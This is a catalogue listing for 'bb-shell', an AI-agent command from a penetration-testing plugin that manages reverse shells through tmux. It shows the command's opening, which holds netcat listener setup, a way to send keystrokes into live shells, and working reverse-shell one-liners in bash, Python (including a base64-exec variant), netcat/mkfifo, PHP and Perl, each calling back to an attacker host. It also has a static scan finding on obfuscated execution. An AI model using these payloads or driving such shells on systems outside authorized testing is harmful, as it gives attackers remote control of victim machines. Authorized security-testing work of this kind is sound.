bb-shell

A command set for managing reverse shells, which are remote command-line connections initiated back to a listener, in persistent tmux sessions.

In plain words
What is it for?
Use it to start listeners, view active sessions, send commands, capture output, and terminate sessions during authorized security testing.
Why use it?
It keeps shell connections available across sessions and lets you manage multiple connections from the terminal.

Command

Part of the blackbox-htb plugin — 17 skills, 11 commands, 9 agents shipped together

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add commands/allsmog/blackbox-claude-plugin/bb-shell
Clone the repo
git clone --depth 1 https://github.com/allsmog/blackbox-claude-plugin

Or install blackbox-htb, the plugin that ships this one along with the rest of its 17 skills, 11 commands, 9 agents.

Per session 33 Only the description is in the session, so the agent can decide to use it. The body loads when it is invoked.
When invoked 1,042 The whole file, excluding the scripts and references it only reads on demand.
Security scan C 1 finding. Scan, not verified.
Origin original No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00033 $0.01042
Opus 5 $0.00016 $0.00521
Sonnet 5 $0.00007 $0.00208
Haiku 4.5 $0.00003 $0.00104

Measured 3d ago against content hash 3b5f3e585358, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade C, and why

bb-shell scanned grade C with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 3d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Encoded or obfuscated payloadhighSupply chain

base64 or hex that is decoded and executed hides what actually runs from anyone reading the file.

# Then run on target with: python3 -c "import base64;exec(base64.b64decode('<B64>'))"
blackbox-htb/commands/bb-shell.md · 123 lines

How it starts

The opening of the file, as written. The whole thing — 123 lines — stays where its author put it; the contents beside it link to each section on GitHub.

Reverse Shell Manager

Overview

Manage reverse shell connections using tmux for session persistence. This allows you to:

  • Start netcat listeners in background tmux sessions
  • Receive and manage multiple shell connections
  • Send commands to active shells
  • Persist shells across Claude sessions

Actions

Start Listener

Start a new tmux listener session:

# Create listener on specified port (default: 4444)
tmux new-session -d -s shell_<PORT> "nc -lvnp <PORT>"

# Verify listener is running
tmux ls | grep shell_
ss -tlnp | grep <PORT>

List Sessions

View all active shell sessions:

tmux ls | grep -E "shell_|listener"

Attach to Shell

Interact with an active shell:

# View current output (non-blocking)
tmux capture-pane -t shell_<PORT> -p | tail -50

# Send command to shell
tmux send-keys -t shell_<PORT> "<COMMAND>" Enter

# Wait and capture output
sleep 2 && tmux capture-pane -t shell_<PORT> -p | tail -30

Kill Session

Terminate a shell session:

tmux kill-session -t shell_<PORT>

Reverse Shell Payloads

Bash

bash -i >& /dev/tcp/<LHOST>/<PORT> 0>&1

Python

python3 -c 'import socket,os,pty;s=socket.socket();s.connect(("<LHOST>",<PORT>));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

Python Base64 (avoids escaping issues)

# Generate base64 payload - encode your python reverse shell
# Then run on target with: python3 -c "import base64;exec(base64.b64decode('<B64>'))"

Netcat

nc <LHOST> <PORT> -e /bin/bash
# Or with mkfifo
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc <LHOST> <PORT> >/tmp/f

PHP

php -r '$sock=fsockopen("<LHOST>",<PORT>);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

Perl

perl -e 'use Socket;$i="<LHOST>";$p=<PORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");system("/bin/sh -i");};'

Read the full file on GitHub · 123 lines

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 3d ago First seen · 123 lines · 33 tokens per session scan C 3b5f3e585358

Subscribe to this mod's changes

bb-shell is a command published in the GitHub repository allsmog/blackbox-claude-plugin (5 stars, last pushed 6mo ago), licensed MIT. It adds 33 tokens to every session and 1,042 once invoked, about $0.0002 per session on Opus 5. A static security scan graded it C with 1 finding (encoded or obfuscated payload). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-31.